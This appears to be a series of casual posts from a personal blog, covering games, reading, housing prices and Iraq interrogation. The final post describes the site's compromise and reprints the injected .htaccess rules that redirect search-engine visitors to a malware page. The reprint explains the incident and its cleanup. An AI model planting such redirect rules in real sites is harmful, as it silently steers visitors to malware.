The US Army knows torture breeds terrorism

Bruce Schneier posted this article where Matthew Alexander, an American special operations interrogator in Iraq, says:

I learned in Iraq that the No. 1 reason foreign fighters flocked there to fight were the abuses carried out at Abu Ghraib and Guantanamo. Our policy of torture was directly and swiftly recruiting fighters for al-Qaeda in Iraq. The large majority of suicide bombings in Iraq are still carried out by these foreigners. They are also involved in most of the attacks on U.S. and coalition forces in Iraq. It's no exaggeration to say that at least half of our losses and casualties in that country have come at the hands of foreigners who joined the fray because of our program of detainee abuse.

You can read the rest: http://www.schneier.com/blog/archives/2008/12/matthew_alexand.html

I have a 32% chance of surviving the zombie apocolypse

How well will you do on Z-day?  Take the quiz to find out.

I guess I need to buy some canned goods and do some weapons training soon.

32%

For Christmas, I got Untouchables

For Christmas this year, I got my Untouchables achievment.

It was with a bunch of randoms on Blood Harvest on normal difficulty.

The evils of fiction

About reading, a coworker once told me "I don't understand why anyone reads fiction. What's the point? It's all made up. I only read nonfiction."

I thought this was amazing. The logical extension of this would be to never look at artwork, avoid almost all music, certainly never watch a film or a play. After all, that stuff is all made up. All of these types of art an extension of story-telling: fiction.

I'm picturing this guy making a ruckus at a comedy club:

"So, a priest and a rabbi are on a boat ..."
"You mean a priest, a rabbi, and a stand-up comic, right? Since you must have been there to witness this happening? Otherwise I want my money back."

TF2: Gold Rush Last Stand

Oh, hell yes: this video "Gold Rush Last Stand" is a great example of what it right about Team Fortress 2.  It's a epic ten-minute stand at the end of the Gold Rush map, between two clans in a league match.   I like the good camera angles and slow-motion shots.

Gold Rush has been my favorite mode of TF2 by a longshot (over CTF, CP, and Arena).  The other game modes don't force the whole team to focus on one clear goal.  Nowhere else does an ubercharge have so much offensive power, balanced nicely by maps with huge defensive advantages.  Enjoy the battle.

Plants twitter you when they need water

If I ever bothered to plant any houseplants, I would absolutely depend on these sensors that twitter you when the plant needs water. Too bad it's almost $100 and requires assembly.

Beatpaths builds NFL power rankings from win stats

At beatpaths.com, Curt Siffert generates NFL power rankings using a clever win/loss & automatic strength-of-schedule algorithm. This is where I kick myself for letting him beat me to it. I used to track team's rise & fall throughout seasons using ESPN's power rankings, but I've been annoyed by how much ESPN commentators let the wrong factors influence their subjective ranking system.

Curt's beatpath system is completely objective; to be ranked above another team, you have to beat that team, or beat a team that beat that team. It's simple, concise, and makes neat graphs. Check it out.

Ode to Courier New

Roses are red,
violets are blue,
fixed-width fonts maintain spacing for easily readable tables despite the rendering application,
and variable-width fonts are pretty but not very functional for engineers.

Thanks Courier New.
(Spaces weather changes in rendering applications much better than tab characters, too. Courier+spacebar=legible crossplatform tables. yay.)

Time to buy a house

I like to watch the Case/Schiller Housing Index updated regularly by Standard & Poor. The last published index value is 145, a number as low as it was in summer of 2003 (The peak is ~220). I haven't looked at buying a home since summer 2001, when the index was 130, but it may be headed back there shortly. Maybe it's time to look at property.

Boomercharged must be flooded with traffic

I'm starting to think I should convert clockcleaners to a Left4Dead-only blog. I reviewed my google analytics charts recently, and found that no one knew my blog existed until this game hit and I commented on it. See for yourself:



That's an increase of UNDEFINED % over the last month. My calculator won't give me a percentage increase that's defined; something about dividing by zero is the problem I think. We could express it as a limit, I guess. Let's try it: The limit of my traffic increase is equal to positive infinity over the above time period, as the time period approaches the current date.

Can I even mark it up with MathML? Apparently not. I inserted it here and got total gibberish, despite having the MathML library for mozilla installed. Oh well.

Anyway, boomercharged must be flooded with traffic. They deserve it. Make sure to save that boomercharged RSS feed, L4D fans.

So this website was compromised

So this website (mattmullen.net) was compromised recently, oddly enough. I guess those hackers were just too excited by the prospect of my traffic at upwards of 2 hits per day redirected to their malware site. It's quite a honeypot.

Anyway, here's all they did: they injected an .htaccess in the root with the following data:

RewriteEngine On

RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]

RewriteRule .* http://[IP Address of malware site]/in.html?s=xx [R,L]

Which made my site accessable by direct link or bookmark, but you couldn't click-through from a major search engine without getting redirected to a fake spyware-removal app.

I've replaced the bad files, changed my passwords, and scanned all my machines for malware (0 hits), so my best guess is that they somehow got my ftp address, or compromised the host company and infected many of their users.